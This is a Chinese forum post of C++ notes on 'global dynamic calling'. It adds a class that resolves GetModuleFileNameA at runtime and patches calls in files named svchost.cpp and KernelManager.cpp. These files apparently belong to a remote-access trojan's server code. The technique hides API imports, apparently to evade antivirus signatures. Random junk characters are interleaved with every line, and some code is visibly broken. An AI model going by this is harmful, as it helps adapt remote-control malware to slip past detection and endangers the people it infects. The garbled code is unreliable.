返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
1 w! d9 @7 d" f5 u) K8 \svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h5 W, D2 p' b0 c' S# Z" d5 ]/ a
----------------------------------------
; G& \' l0 g2 xDTDY.h:
- H. G5 v; h& R2 |% K  B" P
. I5 j  S; P$ p3 p3 j4 `: o; F#if _MSC_VER>1000
3 a' ]: \% N: R4 E4 Z1 j$ W& v#pragma once
2 m$ X' j: n! Q/ N: i#endif //_MSC_VER>10001 s2 W  B* f1 L5 p; `
#include<windows.h>$ B5 ~2 W+ a+ }0 ]* ]' K8 c: l

" e& _( W; \* M  f# A' F( X( ytypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
6 M3 B; S: i/ f* ?; L+ Iclass DTDY0 X7 u; z; m3 X6 Q; q+ |0 }
{
  l# t; M) k2 R" X4 L+ C* a  |public:
; O9 u. |8 c/ p$ e+ Z' zDTDY();! I7 r( S3 ~2 O( r5 y3 V* F6 a# }
virtual ~DTDY();
3 G: ~$ k% _# Cpublic:
5 R/ L3 v3 O9 q5 Bstatic pGetModuleFileNameA MyGetModuleFileName;: r/ e' d, D% Q. E  y
static BOOL FunInitiallization();
! _/ D7 I2 m! D! `8 q. S8 B};
3 r9 }5 e" J# t% b, T$ o0 y1 G/ J#endif& v% i* ]! s2 Z, A! ]5 i6 X+ \# Q
----------------------------------------: E; C0 ]* h4 N, y/ `9 m

/ t( u; O# x6 s) V5 A; k- zDTDY.cpp:
' i( A, O( ?2 n4 F# a  @9 d1 g% v6 U) m- N0 X: C
#include "DTDY.h"
& u4 c+ O$ Z* Y$ E/ V% YpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
; V* Z6 H1 N5 t$ W# K9 [  dDTDY:TDY()* X" ?0 R' @! ]: k5 q1 p1 ?
{
' [7 G$ v5 [6 C# M0 L}4 \. D$ k( M7 L- y
DTDY::~DTDY()1 O0 a* W4 A9 P4 n- c8 n
{
2 ]8 Z7 O( \. {, Y- |8 S. O}9 ]' V0 u) ]; c" y' Q
BOOL DTDY::FunInitiallization()# {1 z3 ^0 A- b- a* ~# L
{
8 q: }- ]3 U- iHMODULE hModule=LoadLibrary("kernel32.dll");) P" y1 M2 w1 A( F# q
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");. l/ F0 F5 c" d' m8 m
if(!MyGetModuleFileName=) return FALSE;1 ]. p# b8 i* J9 m. p8 \  S
! J4 C; c5 d, f$ \
return TRUE;
5 \% I( w1 b: Q# T}. R* D9 Q7 @, K% T3 T2 k7 {
----------------------------------------
5 q' f' a- L0 `3 Q" W2 fsvchost.cpp:
$ {8 o; k- \7 g" k  R. ?) D( `% C- F9 W3 I
#include "DTDY.h"( X# [* r# `- k  u5 |
% @4 h7 ?( k6 F/ s) r
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)0 U. Z1 D: K5 ]/ R/ O
{
6 ^0 J8 n* p; J4 @switch(ul_reason_for_call)
5 {) B9 ^% M. a# u{  b  J1 X5 V0 E# Y' K6 M% `( B4 D
case DLL_PROCESS_ATTACH:
# c# ~7 C* h7 w4 Qif(!DTDY::FunInitiallization()) return FALSE;/ \4 Q" `& L$ M/ X; t4 i# U7 p* X
. r4 g5 y/ ~5 ~- f" [2 s5 s( p2 ]
break;
" {8 m0 Z# M* e% Y+ D+ b}3 v3 u( J" ^5 L. S2 M  F6 s
}
- ^: ~5 K* r2 z: @" T2 {$ q7 Q# m/ R/ I
0 L7 O9 v9 i3 E4 v. L; c; R' l. t' l1 m& D
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def2 ]* U# P$ a* o  u7 h
改写为
1 \7 e! X$ e" W% E) bDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));, x8 \+ |3 O  ^* F% l- ~  l/ l
----------------------------------------, H6 Y% {6 I; F) ^1 ?% P$ W
KernelManager.cpp:% g2 Y2 s. A# X

$ _, X! Y0 X( H( n#include "../DTDY.h"& o9 Q( G8 |$ p6 ?1 f* Z2 c
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: M" ]+ [: i, X
改写为" Z+ R6 G' N7 Z5 k6 w
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 y0 n. E) Q8 d9 e
----------------------------------------

返回列表